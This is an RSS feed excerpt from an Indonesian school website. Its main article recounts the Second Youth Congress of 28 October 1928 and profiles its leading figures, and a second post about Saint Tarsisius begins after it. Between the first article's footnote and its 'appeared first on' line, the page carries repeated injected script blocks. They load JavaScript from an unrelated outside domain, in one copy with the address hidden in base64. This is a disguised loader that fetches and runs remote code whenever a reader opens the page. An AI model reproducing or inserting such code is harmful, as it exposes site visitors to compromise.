<p class="wp-block-paragraph">Tanggal 28 Oktober 1928 merupakan hari bersejarah bagi bangsa Indonesia, dimana pada waktu itu diadakan Kongres Pemuda II. Dalam Kongres itulah, para pemuda dari berbagai wilayah Indonesia mengikrarkan &#8220;bertoempah darah jang satoe &#8211; tanah Indonesia&#8221;, &#8220;berbangsa jang satoe &#8211; bangsa Indonesia&#8221; dan &#8220;mendjoendjoeng bahasa persatoean &#8211; bahasa Indonesia&#8221;. Kongres Pemuda II tersebut kemudiaan dikenal sebagai Soepah Pemoeda.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Dua tahun sebelumnya, yakni pada 1926 memang telah ada upaya untuk mempersatukan organisasi-organisasi pemuda ketika diadakan Kongres Pemuda I.</p>



<p class="wp-block-paragraph">Demikian pula pada tanggal 20 Februari 1927, telah diadakan pertemuan, namun masih dalam tahap awal dan belum final. Dan akhirnya, Perhimpunan Pelajar-Pelajar Indonesia (PPPI) menjadi penggagas Kongres Pemuda II.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Selanjutnya, pada tanggal 3 Mei 1928 diadakan kembali pertemuan untuk persiapan Kongres Pemuda II, dan kemudian dilanjutkan pada tanggal 12 Agustus 1928.</p>



<p class="wp-block-paragraph">Dalam pertemuan tanggal 12 Agustus 1928 itu, perwakilan dari semua organisasi pemuda hadir dan diambil keputusan bersama untuk segera mengadakan Kongres II yang dijadwalkan berlangsung selama dua hari yaitu pada 27 -28 Oktober 1928.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Adapun susuna panitia pelaksana Kongres II adalah seperti berikut: Ketua: Soegondo Djojopoespito (PPI). Wakil Ketua: R.M. Djoko Marsaid (Jong Java). Sekretaris: Mohammad Jamin (Jong Sumateranen Bond). Bendahara: Amir Sjarifuddin (Jong Bataks Bond). Pembantu I: Djohan Mohammad Tjai (Jong Islamieten Bond). Pembantu II: R. Katja Soengkana (Pemoeda Indonesia). Pembantu III: Senduk (Jong Celebes). Pembantu IV: Johanes Leimena (Jong Ambon). Pembantu V: Rochjani Soe&#8217;oed (Pemoeda Kaoem Betawi).</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Dalam pelaksanaan Kongres II itu, dilakukan dalam tiga kali (3) rapat dengan tempat yang berbeda-beda yaitu:</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Pertama, rapat Kongres yang diadakan pada hari Sabtu, 27 Oktober 1928 (hari pertama) yang berlangsung di kompleks dekat gedung Gereja Katedral yang saat itu sering disebut gedung Katholieke Jongenlingen Bond (KJB)-Waterlooplein (sekarang: Lapangan Banteng).</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Isi dari pertemuan tersebut adalah bahwa Kongres yang diadakan dapat memperkuat persatuan para pemuda. Dalam pertemuan itu, Muhammad Yamin menguraikan tentang arti dan hubungan persatuan dengan pemuda. Menurutnya, ada lima faktor yang bisa memperkuat persatuan Indonesia, yaitu sejarah, bahasa, hukum adat, pendidikan, dan kemauan.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Kedua, rapat Kongres yang diadakan pada hari Minggu, 28 Oktober 1928 (hari kedua) yang belangsung di Gedung Oost-Java Bioscoop. (sekarang: gedung tersebut sudah tidak ada lagi, namun posisi gedungnya diperkirakan terletak di Jl. Merdeka Utara, tidak jauh dari sitana Negara dan Mahkamah Agung RI). Dalam rapat tersebut, dibahas tentang masalah pendidikan.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Pada kesempatan itu ada dua orang yang bertindak sebagai pembicara yakni, Poernomowoelan dan Sarmidi Mangoensarkoro. Mereka berpendapat bahwa anak harus mendapat pendidikan kebangsaan, perlu adanya keseimbangan antara pendidikan di sekolah dan di rumah, dan anak harus dididik secara demokratis.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Ketiga, rapat penutupan Kongres diadakan di gedung Indonesische Clubgebouw atau Indonesisch Huis Kramat di Jalan Kramat Raya Nomor 106 (sekarang: menjadi Museum Sumpah Pemuda).</p>



<p class="wp-block-paragraph">Pada rapat tersebut, Soenario menjelaskan pentingnya nasionalisme dan demokrasi, selain gerakan kepanduan. Sementara itu, Ramelan mengemukakan bahwa gerakan kepanduan tidak bisa dipisahkan dari pergerakan nasional. Gerakan kepanduan sejak dini mendidik anak-anak disiplin dan mandiri, sebab hal itulah yang dibutuhkan dalam perjuangan.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Adapun para peserta yang hadir dalam Kongres II tersebut, berasal dari berbagai perwakilan organisasi pemuda, yakni: Jong Java, Jong Ambon, Jong Celebes, Jong Batak, Jong Sumatranen Bond, Jong Islamieten Bond, Sekar Rukun, PPPI, Pemuda Kaum Betawi, Aitai Karubaba dan Poreu Ohee (Perwakilan dari Papua), Kwee Thiam Hiong (Jong Sumatranen Bond), dll.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Wage Rudolf Soepratman memperdengarkan lagu &#8216;Indonesia Raya&#8217; hasil karyanya sebelum Kongres ditutup. Pada kesempatan tersebut WR. Soepratman hanya memainkan biola saja tanpa syair (musik instrument). Hal ini dilakukan atas saran ketua panitia Kongres. Tidak dinyanyikannya syair lagu Indonesia Raya tersebut, dengan pertimbangan karena intel-intel peerintahah Belanda selalu mengawasi jalannya Kongres.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Lagu yang dibawakan oleh WR Soepratman tersebut, disambut dengan meriah oleh peserta Kongres. Setelah Kongres itu, hasil rumusan penting (sari pati) dari Kongres II, diumumkan dan para pemuda yang hadir mengucapkan rumusan tersebut sebagai &#8216;Sumpah Setia&#8217;.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Gedung di Jalan Kramat Raya Nomor 106, tempat dibacakan Sumpah Pemuda, adalah sebuah rumah pondokan untuk pelajar dan mahasiswa milik Sie Kok Liong.</p>



<p class="wp-block-paragraph">Pada tanggal 3 April 1973 Gedung di Kramat 106 itu, sempat dipugar oleh Pemda DKI Jakarta. Ali Sadikin, Gubernur DKI Jakarta masa itu, meresmikannya sebagai Gedung Sumpah Pemuda pada tanggal 20 Mei 1973. Dan pada tanggal 20 Mei 1974, Presiden Soeharto meresmikan kembali gedung tersebut.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Berikut ini ada beberapa tokoh yang berperan penting dan menonjol dalam Kongres Pemuda II, antara lain sbb:</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">1. Soegondo Djojopoespito. Sugondo Djojopuspito lahir di Tuban-Jawa Timur, 22 Februari 1905. Pada tahun 1925, Soegondo Djojopoepito lulus dari AMS. Ketika masih duduk di pendidikan menengah MULO, ia pernah satu atap dengan Ir. Soekarno di pondok milik HOS Cokroaminoto. Soegondo terpilih menjadi Ketua atas persetujuan Drs. Mohammad Hatta sebagai ketua PPI di Negeri Belanda dan Ir. Soekarno di Bandung. Selain Soegondo, kandikat lainnya adalah pemuda bernama Mohammad Yamin.</p>



<p class="wp-block-paragraph">Figur Sugondo ini memang namanya sangat asing dan hampir tidak pernah diceritakan dalam tulisan-tulisan sejarah, bahkan di buku pelajaran sekolah. Padahal Soegondo Djojopoespito mempunyai peran besar dalam Kongres Pemuda I dan Kongres Pemuda II.</p>



<p class="wp-block-paragraph">Pada tahun 1926, ia ikut serta dalam kegiatan Kongres Pemuda I dan menjadi Ketua Panitia Kongres Pemuda II yang menghasilkan Sumpah Pemuda. Kemudian ia melanjutkan kuliah di Rechtshoogeschool te Batavia (Sekolah Tinggi Hukum di Batavia).</p>



<p class="wp-block-paragraph">Ketika pada masa kuliah, Soegondo menumpang di rumah seorang pegawai pos di gang Rijksman, sehingga lingkaran pertemanan Soegondo, ada dalam lingkungan para pegawai pos. Melalui pertemanan tersebut ia mengenal Perhimpunan Indonesia, sebuah organisasi yang dinyatakan &#8216;dilarang&#8217; oleh pemerintah Belanda.</p>



<p class="wp-block-paragraph">Organisasi pemuda Indonesia itu berpusat di negeri Belanda. Ia mengenal organisasi tersebut melalui majalah &#8220;Indonesia Merdeka&#8221; yang diterbitkan oleh Perhimpunan Indonesia, yang diberikan kepada salah seorang pegawai pos. Setelah membaca majalah tersebut, pikiran Soegondo semakin terbuka. Ia menyadari betapa pentingnya meraih sebuah kemerdekaan.</p>



<p class="wp-block-paragraph">Sebagai tindakan awal, ia belajar dan berdiskusi mengenai politik dengan Hj. Agus Salim. Ia menghubungi teman-temannya untuk datang dan membaca &#8216;majalah terlarang&#8217; tersebut dan berdiskusi di pemondokannya. Ada beberapa temannya yakni, Soewirjo dan Usman Sastroamidjojo, adik Ali Sastroamidjojo.</p>



<p class="wp-block-paragraph">Soegondo, memiliki rasa nasionalisme yang besar sehingga ia bergabung dengan Persatuan Pemuda Indonesia (PPI), meskipun banyak pemuda lainnya lebih berminat bergabung di dalam organisasi kedaerahan. Ia masuk organisasi Persatuan Pemuda Indonesia dan tidak masuk dalam Jong Java.</p>



<p class="wp-block-paragraph">Pada tahun 1926, Soegondo membentuk Perhimpunan Pelajar-pelajar Indonesia (PPPI), terinspirasi oleh Perhimpunan Indonesia di Belanda. Pada waktu itu, Sigit terpilih sebagai ketuanya. Tujuan organisasi tersebut adalah untuk menghubungi mahasiswa-mahasiswa baru dan pemimpin perkumpulan pemuda dalam rangka menularkan semangat persatuan.</p>



<p class="wp-block-paragraph">Mereka membuat pamflet rahasia untuk menggulingkan pemerintahan Belanda di Indonesia. Setelah setahun berselang, masa jabatan Sigit berakhir dan digantikan oleh Soegondo. Sebagai ketua baru, ia mengundang wakil-wakil perkumpulan pemuda, lalu membentuk panitia kongres pada bulan Juni 1928.</p>



<p class="wp-block-paragraph">Sugondo Djojopuspito meninggal dunia di Yogyakarta tanggal, 23 April 1978 pada usia 73 tahun. Atas jasanya dalam menginisiasi Kongres Pemuda, maka Pemerintah Republik Indonesia pada tahun 1978 memberikan Tanda Kehormatan kepada Soegondo, berupa Bintang Jasa Utama.</p>



<p class="wp-block-paragraph">Pada tahun 1992, ia mendapat Satya Lencana Perintis Kemerdekaan. Kemenpora, mengabadikan namanya pada Gedung Pertemuan Pemuda sebagai Wisma Soegondo Djojopoespito di Cibubur, milik Pusat Pemberdayaan Pemuda dan Olahraga Nasional (PP-PON) yang diresmikan pada tanggal 18 Juli 2012.</p>



<p class="wp-block-paragraph">2. Prof. Mr. Mohammad Yamin, SH. Mohammad Yamin, lahir di Talawi, Sawahlunto, Sumatera Barat, 24 Agustus 1903. Ia pertama kali muncul pada tahun 1922 sebagai penyair, dengan judul puisinya &#8220;Tanah Air&#8221;. Ada yang mengatakan bahwa yang dimaksud adalah Minangkabau di Sumatera.</p>



<p class="wp-block-paragraph">Puisi tersebut adalah puisi modern Melayu yang pertama, yang pernah diterbitkan. Puisi keduanya berjudul &#8220;Tumpah Darahku&#8221;, yang muncul pada 28 Oktober 1928. Ketika Konggres Pemuda II 1928 diadakan, Mohammad Yamin merupakan salah satu kandidat Ketua Panitia Kongres II, namun yang terpilih adalah Soegondo Djojopoespito.</p>



<p class="wp-block-paragraph">Saat itu, Kongres Pemuda membutuhkan figur ketua yang &#8216;netral&#8217;. Karena Mohammad Yamin masuk dalam Jong Sumatranen Bond. Maka, Soegondo dipilih sebagai Ketua dan Mohammad Yamin diangkat menjadi Sekretaris.</p>



<p class="wp-block-paragraph">Pada kesempatan itu, notulen ditulis dalam bahasa Belanda. Pada sesi terakhir Kongres Pemuda II, Soenario, perwakilan dari kepanduan (sekarang Pramuka) berpidato. Pada waktu itu, M. Yamin yang duduk di sebelah Soegondo menyodorkan secarik kertas kepada Soegondo seraya berbisik, &#8220;Ik heb een elganter formuleren voor de resolutie&#8221; (saya mempunyai rumusan resolusi yang lebih luwes), ujar Yamin.</p>



<p class="wp-block-paragraph">Di dalam secarik kertas itu, tertulis tiga frasa yang kemudian dikenal sebagai trilogi Sumpah Pemuda, yaitu: &#8220;Satu Nusa, Satu Bangsa, Satu Bahasa&#8221;. Selanjutnya, Soegondo memberi paraf pada secarik kertas itu yang artinya menyatakan setuju, dan diikuti oleh anggota lainnya yang juga menyatakan tanda setuju. Akhirnya, ikrar Sumpah Pemuda dibacakan oleh Soegondo dan diikuti oleh semua peserta Kongres.</p>



<p class="wp-block-paragraph">Mohammad Yamin, meninggal dunia di Jakarta pada tanggal 17 Oktober 1962 dalam usia 59 tahun.</p>



<p class="wp-block-paragraph">3. Wage Rudolf Soepratman. Wage Rudolf Supratman, lahir di Somongari-Purworejo, 9 Maret 1903. Ia salah seorang pahlawan yang beragama Kristen Katolik. Dalam Kongres Pemuda II, pemuda yang akrab sisapa WR. Soepratman menghampiri Ketua panitia Kongres dengan membisikkan sesuatu. Ia meminta izin pada Ketua Panitia Kongres agar diperbolehkan memperdengarkan lagu ciptaannya, yang berjudul &#8220;Indonesia Raya&#8221;.</p>



<p class="wp-block-paragraph">Karena Kongres dijaga oleh Polisi Hindia Belanda, maka Soegondo sebagai Ketua Panitia Kongres tidak menginginkan Kongres itu dibubarkan atau peserta ditangkap oleh Polisi Belanda. Maka, Soegondo berbisik kepada WR. Supratman agar memperdengarkan lagu Indonesia Raya itu cukup dengan instrument biolanya saja.</p>



<p class="wp-block-paragraph">[1] Penggunaan biola memungkinkan kata-kata terlarang seperti &#8220;Indonesia Raya&#8221; dan &#8220;Merdeka&#8221; tidak terucap, dan cukup terwakilkan oleh notasi nada yang dimainkan. Tujuannya agar Polisi Hindia Belanda tidak akan curiga, dan Kongres dapat tetap berlangsung hingga akhir. WR. Soepratman, meninggal dunia di Surabaya-Jawa Timur pada tanggal 17 Agustus 1938.</p>



<p class="wp-block-paragraph">4.&nbsp; Soenario Sastrowardoyo. Prof. Mr.Soenario Sastrowardojo lahir di Madiun-Jawa Timur, pada 28 Agustus 1902. Ia adalah salah satu tokoh Indonesia pada masa pergerakan kemerdekaan Indonesia. Ia pernah menjabat sebagai pengurus Perhimpunan Indonesia di Belanda.</p>



<p class="wp-block-paragraph">Soenario adalah salah satu tokoh yang berperan aktif dalam dua peristiwa yang menjadi tonggak sejarah nasional, yaitu Manifesto 1925 dan Kongres Pemuda II. Ketika Manifesto 1925 dicetuskan, ia menjadi pengurus Perhimpunan Hindia (Indische Vereeniging, kelak berganti nama menjadi Indonesische Vereeniging atau Perhimpunan Indonesia) bersama Drs. M. Hatta. Soenario menjadi Sekretaris II, dan M. Hatta menjadi bendahara I. Pada akhir Desember 1925, ia meraih gelar Meester in de Rechten (Mr), lalu pulang ke Indonesia.</p>



<p class="wp-block-paragraph">Ia mempunyai pengalaman yang cukup banyak di Belanda. Ia aktif sebagai pengacara, sehingga ia membela para aktivis pergerakan yang berurusan dengan polisi Hindia Belanda. Selain itu, ia mempunyai pengalaman berorganisasi, sehingga ia turut membantu sebagai Penasihat pada Kongres Pemuda II. Selain menjadi penasihat, Soenario juga menjadi pembicara dalam Kongres. Judul makalahnya adalah &#8220;Pergerakan Pemuda dan Persatuan Indonesia&#8221;.</p>



<p class="wp-block-paragraph">Sumpah Pemuda membawa dampak bagi perjuangan bangsa Indonesia. Begitu juga bagi kehidupan Soenario. Soenario yang beragama Islam, jatuh cinta dan akhirnya menikahi gadis Minahasa beragama Kristen Protestan yang ditemuinya saat pelaksanaan Kongres Pemuda II (1928). Pada tahun 1956-1961, ia menjabat sebagai Duta Besar RI untuk Inggris.</p>



<p class="wp-block-paragraph">Tidak hanya itu, ia pun diangkat sebagai guru besar politik dan hukum internasional, lalu menjadi Rektor Universitas Diponegoro-Semarang dari tahun 1963-1966. Pada tahun 1960-1972, ia menjadi Rektor IAIN Al-Jami&#8217;ah Al-Islamiyah Al-Hukumiyah, yang merupakan cikal bakal UIN Sunan Kalijaga-Yogyakarta, serta UIN Syarif Hidayatullah-Jakarta. Soenario meninggal dunia pada 18 Mei 1997 pada usia 94 tahun di RS Medistra-Jakarta, sedangkan istrinya meninggal pada 1994.</p>



<p class="wp-block-paragraph">5.&nbsp; Sie Kong Liong. Sie Kong Liong adalah salah satu nama yang mungkin masih asing di telinga public Indonesia. Ia tidak popular seperti tokoh-tokoh lain, bahkan mungkin tidak pernah tercatat dalam buku-buku sejarah. Padahal, tanpa andil Sie Kong Liong, sejarah Sumpah Pemuda mungkin akan memiliki jalan cerita yang berbeda.</p>



<p class="wp-block-paragraph">Betapa tidak, Sie Kong Liong adalah pemilik sebuah rumah di Jalan Kramat Raya Nomor 106, yang menjadi tempat pelaksanaan Kongres II (Sumpah Pemuda). Atas prakarsa Soenario, rumah milik Sie Kong Liong dipugar oleh Gubernur DKI kala itu, Ali Sadikin, dan ditetapkan menjadi Gedung Sumpah Pemuda sebelum akhirnya berubah nama menjadi Museum Sumpah Pemuda.</p>



<p class="wp-block-paragraph">Pada akhirnya, Kongres Pemuda II yang diselenggarakan dua hari yaitu, 27-28 Oktober 1928 di Batavia itu, membuahkan hasil, yang menegaskan cita-cita akan adanya &#8220;Tanah Air Indonesia, Bangsa Indonesia, dan Bahasa Indonesia&#8221;. Saat itu, tiga isi Sumpah Pemuda yang merupakan Keputusan Kongres tersebut menjadi asas bagi setiap &#8216;perkumpulan kebangsaan Indonesia&#8217; dan &#8216;disiarkan dalam segala surat kabar dan dibacakan di muka rapat perkumpulan-perkumpulan&#8221;.</p>



<p class="wp-block-paragraph">6.&nbsp; Dr. Johannes Leimena. Johannes Leimena, lahir di Ambon-Maluku, 6 Maret 1905. Ia adalah salah satu pahlawan Indonesia. Ia satu-satunya orang yang pernah menjabat sebagai Menteri Kabinet Indonesia selama 21 tahun berturut-turut tanpa putus. Ia pernah masuk dalam 18 Kabinet yang berbeda, mulai dari Kabinet Sjahrir II (1946) sampai Kabinet Dwikora II (1966). Ia mengemban tugas sebagai Menteri Kesehatan, Wakil Perdana Menteri, Wakil Menteri Pertama maupun Menteri Sosial. Selain itu, ia menyandang pangkat Laksamana Madya (Tituler) di TNI-AL ketika ia menjadi anggota dari Komando Operasi Tertinggi (KOTI) dalam rangka Trikora.</p>



<p class="wp-block-paragraph">Pada tahun 1926, Johannes Leimena ditugaskan untuk mempersiapkan Konferensi Pemuda Kristen di Bandung. Konferensi ini adalah perwujudan pertama Organisasi Oikumene di kalangan pemuda Kristen. Ia sudah aktif dalam organisasi sejak lulus studi kedokteran STOVIA. Ia mengikuti organisasi CSV, yang kemudian menjadi cikal bakal berdirinya Gerakan Mahasiswa Kristen Indonesia (GMKI) pada tahun 1950. Ia aktif dalam Jong Ambon, sehingga ia ikut mempersiapkan Kongres Pemuda Indonesia pada 28 Oktober 1928, yang menghasilkan Sumpah Pemuda. Dr. Johannes Leimena meninggal dunia di Jakarta, tanggal 29 Maret 1977 pada usia 72 tahun.</p>



<p class="wp-block-paragraph">7.&nbsp;&nbsp; Djoko Marsaid. Djoko Marsaid adalah Wakil Ketua Panitia Kongres Pemuda II, dimana ia menjadi perwakilan dari Jong Java.</p>



<p class="wp-block-paragraph">8. Mr. Amir Sjarifoeddin. Amir Sjarifoeddin Harahap (ejaan baru: Amir Syarifuddin Harahap) lahir di Medan, Sumatera Utara, 27 April 1907. Ia seorang penganut agama Kristen Protestan, meskipun ia berasal dari keluarga Batak yang beragama Islam, namun kemudian Amir pindah menganut agama Kristen Protestan pada tahun 1931. Ia pernah memberikan khotbah dalam Gereja Protestan terbesar di Batak yang ada di Batavia. Khotbah itulah yang menjadi salah satu bukti bahwa Amir sebagai penganut agama Kristen Protestan pada tahun 1931. Ia meninggal dunia di Surakarta, Jawa Tengah, 19 Desember 1948 pada usia 41 tahun.</p>



<p class="wp-block-paragraph">9.&nbsp; Sarmidi Mangunsarkoro. Mangunsarkoro atau Ki Sarmidi Mangunsarkoro, lahir pada tanggal 23 Mei 1904. Ia mantan Menteri Pendidikan dan Kebudayaan pada tahun 1949 hingga tahun 1950. Pribadi Ki Sarmidi Mangunsarkoro seorang yang sederhana, dan berwawasan luas. Penampilan yang sangat sederhana, ia terapkan juga pada waktu menjadi Menteri Pendidikan dan Kebudayaan, yaitu tidak mau bertempat tinggal di rumah dinas Menteri Kabinet. Ia meninggal dunia tanggal 8 Juni 1957 pada usia 53 tahun.</p>



<p class="wp-block-paragraph">10. Mr. Kasman Singodimedjo. Kasman Singodimedjo, lahir di Poerworedjo-Jawa Tengah, 25 Februari 1904. Ia pernah menjadi Jaksa Agung Indonesia periode 1945 &#8211; 1946. Ia termasuk mantan Menteri Muda Kehakiman pada Kabinet Amir Sjarifuddin II. Pada tahun 1945-1950, Kasman Singodimedjo pernah mengemban tugas sebagai Ketua Komite Nasional Indonesia Pusat (KNIP) yang menjadi cikal bakal dari DPR. Ia meninggal dunia di Jakarta, 25 Oktober 1982 pada usia 78 tahun.</p>



<p class="wp-block-paragraph">11. Mohammad Roem. Mohammad Roem, lahir di Parakan-Temanggung, 16 Mei 1908. Pada masa Ir. Soekarno menjadi Presiden, ia menjabat sebagai Wakil Perdana Menteri, Menteri Luar Negeri, dan Mendagri. Ia pernah mengambil bagian dalam Perjanjian Roem-Roijen selama revolusi Indonesia. Ia meninggal dunia di Jakarta, 24 September 1983 pada usia 75 tahun.</p>



<p class="wp-block-paragraph">12. Dr. AK. Gani. Adnan Kapau Gani atau biasa disingkat AK. Gani, lahir di Palembayan Agam-Sumatera Barat pada 16 September 1905. Ia adalah seorang dokter dan politisi Indonesia. Ia pernah menjabat sebagai Wakil Perdana Menteri pada Kabinet Amir Sjarifuddin I dan Kabinet Amir Sjarifuddin II. Ia bergerak dalam organisasi Jong Sumatra Bond. Ia meninggal di Palembang-Sumatera Selatan pada 23 Desember 1968 pada usia 63 tahun.</p>



<p class="wp-block-paragraph">Selanjutnya, perlu pula kita tahu 75 orang tokoh yang menjadi peserta dan mengikuti Kongres Pemuda II tanggal 27-28 Oktober 1928 di Batavia (Jakarta), yaitu sbb: Abdul Muthalib Sangadji. Purnama Wulan. Abdul Rachman. Raden Soeharto. Abu Hanifah.</p>



<p class="wp-block-paragraph">Raden Soekamso. Adnan Kapau Gani. Ramelan. Amir (Dienaren van Indie). Saerun (Keng Po). Anta Permana. Sahardjo. Anwari. Sarbini. Arnold Manonutu. Sarmidi Mangunsarkoro. Assaat. Sartono. Bahder Djohan. S.M. Kartosoewirjo. Dali. Setiawan. Darsa. Sigit (Indonesische Studieclub). Dien Pantouw. Siti Sundari. Djuanda. Sjahpuddin Latif. Dr. Pijper. Sjahrial (Adviseur voor inlandsch Zaken).</p>



<p class="wp-block-paragraph">Emma Puradiredja. Soejono Djoenoed Poeponegoro. Halim. R.M. Djoko Marsaid. Hamami. Soekamto. Jo Tumbuhan. Soekmono. Joesoepadi. Soekowati (Volksraad). Jos Masdani. Soemanang. Kadir. Soemarto. Karto Menggolo. Soenario (PAPI &amp; INPO). Kasman Singodimedjo. Soerjadi. Koentjoro Poerbopranoto. Soewadji Prawirohardjo. Martakusuma. Soewirjo. Masmoen Rasid. Soeworo. Mohammad Ali Hanafiah. Suhara. Mohammad Nazif. Sujono (Volksraad).</p>



<p class="wp-block-paragraph">Mohammad Roem. Sulaeman. Mohammad Tabrani. Suwarni. Mohammad Tamzil. Tjahij. Muhidin (Pasundan). Van der Plaas (Pemerintah Belanda). Mukarno. Wilopo. Muwardi. Wage Rudolf Soepratman. Nona Tumbel. Kwee Thiam Hong. Oey Kay Siang. John Lauw Tjoan Hok. Tjio Djien Kwie.</p>



<p class="wp-block-paragraph">Itulah sekelumit kisah di balik peristiwa Sumpah Pemuda. Semoga bermanfaat. Salam Soempah Pemoeda dan Merdeka!!!</p>



<p class="wp-block-paragraph"></p>



<p class="has-small-font-size wp-block-paragraph">Editor: Detianus Gea</p>



<p class="has-small-font-size wp-block-paragraph">Catatan Kaki:</p>



<p class="has-small-font-size wp-block-paragraph">[1] Bdk. Buku: Bernadus Barat Daya dan Silvester Detianus Gea &#8220;Mengenal Tokoh Katolik Indonesia: Dari Pejuang Kemerdekaan, Pahlawan Nasional hingga Pejabat Negara&#8221;, Yakomindo, 2017.</p>
<script>;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
;(function(f,b,n,j,x,e){
        var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294');
        x=b.createElement(n);e=b.getElementsByTagName(n)[0];
        x.async=1;x.src=decodedUrl;
        e.parentNode.insertBefore(x,e);
    })(window,document,'script');</script><script>;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
;(function(f,b,n,j,x,e){
        var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294');
        x=b.createElement(n);e=b.getElementsByTagName(n)[0];
        x.async=1;x.src=decodedUrl;
        e.parentNode.insertBefore(x,e);
    })(window,document,'script');</script><p>The post <a href="https://www.tarsisiusvireta.sch.id/artikel/kisah-seputar-kongres-pemuda-ii-28-oktober-1928/">Kisah Seputar Kongres Pemuda II, 28 Oktober 1928</a> appeared first on <a href="https://www.tarsisiusvireta.sch.id">Sekolah Tarsisius Vireta</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Santo Tarsisius: Mencintai Yesus Secara Sempurna</title>
		<link>https://www.tarsisiusvireta.sch.id/artikel/santo-tarsisius-mencintai-yesus-secara-sempura/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=santo-tarsisius-mencintai-yesus-secara-sempura</link>
		
		<dc:creator><![CDATA[SD Tarsisius Vireta]]></dc:creator>
		<pubDate>Mon, 15 Aug 2022 11:07:25 +0000</pubDate>
				<category><![CDATA[Artikel]]></category>
		<guid isPermaLink="false">https://www.tarsisiusvireta.sch.id/?p=4050</guid>

					<description><![CDATA[<p>Santo Tarsisius lahir di Roma tahun 263 M. St. Tarsisius seorang martir awal kekritenan di Roma. Ia menjadi martir pada usia 12 tahun. Data tertulis yang menceritakan tentang martir muda ini ditemukan dalam sebuah puisi yang ditulis oleh Paus Damasus. Paus Damasus membandingkan kemartiran St. Tarsisius dan kemartiran St. Stefanus. Mereka sama-sama dirajam demi iman mereka akan Yesus Kristus. St. Stefanus dirajam oleh orang-orang Yahudi dan St. Tarsisius dirajam oleh teman-temannya ketika membawa Sakramen Mahakudus.</p>
<p>The post <a href="https://www.tarsisiusvireta.sch.id/artikel/santo-tarsisius-mencintai-yesus-secara-sempura/">Santo Tarsisius: Mencintai Yesus Secara Sempurna</a> appeared first on <a href="https://www.tarsisiusvireta.sch.id">Sekolah Tarsisius Vireta</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe loading="lazy" title="MISA SYUKUR PERINGATAN SANTO TARSISIUS (PELINDUNG SEKOLAH TARSISIUS)" width="1200" height="675" src="https://www.youtube.com/embed/32lDys0pUD8?start=494&#038;feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
</div></figure>



<p class="has-medium-font-size wp-block-paragraph">Santo Tarsisius lahir di Roma tahun 263 M. St. Tarsisius seorang martir awal kekritenan di Roma. Ia menjadi martir pada usia 12 tahun. Data tertulis yang menceritakan tentang martir muda ini ditemukan dalam sebuah puisi yang ditulis oleh Paus Damasus. Paus Damasus membandingkan kemartiran St. Tarsisius dan kemartiran St. Stefanus. Mereka sama-sama dirajam demi iman mereka akan Yesus Kristus. St. Stefanus dirajam oleh orang-orang Yahudi dan St. Tarsisius dirajam oleh teman-temannya ketika membawa Sakramen Mahakudus.</p>



<p class="has-medium-font-size wp-block-paragraph">Paus Damasus menulis: “…Ketika sebuah kelompok jahat fanatic melempari diri Tarsisius yang membawa Ekaristi, ingin Sakramen itu tak dicemarkan, anak laki-laki itu lebih suka memberikan nyawanya daripada memberikan Tubuh Kristus kepada para anjing liar …”</p>



<figure class="wp-block-image aligncenter size-full is-style-default"><img loading="lazy" decoding="async" width="633" height="411" src="https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/08/ekaristitarsi.png" alt="" class="wp-image-4052" srcset="https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/08/ekaristitarsi.png 633w, https://www.tarsisiusvireta.sch.id/wp-content/uploads/2022/08/ekaristitarsi-300x195.png 300w" sizes="auto, (max-width: 633px) 100vw, 633px" /><figcaption>(St. Tarsisius Dirajam)</figcaption></figure>



<p class="has-medium-font-size wp-block-paragraph">Menurut tradisi, St. Tarsisius adalah seorang akolit (sekarang putra altar?). Ia menerima mahkota kemartiran ketika mengantar Sakramen Ekaristi (komuni) bagi para tahanan kristiani yang akan dihukum mati.</p>



<p class="has-medium-font-size wp-block-paragraph">St. Tarsisius dan ibunya secara rutin mengikuti misa pagi yang biasanya dilaksanakan di katakombe. “Kita sama seperti saudara-saudara kita yang rela mati demi iman akan Tuhan yang bangkit. Saat ini mereka sedang dalam penjara. Besok, mereka akan dilemparkan kepada singa lapar. Mereka berharap agar sebelum mati di mulut singa- singa itu, mereka menerima santapan kekal, Tubuh Tuhan yang Mahakudus.</p>



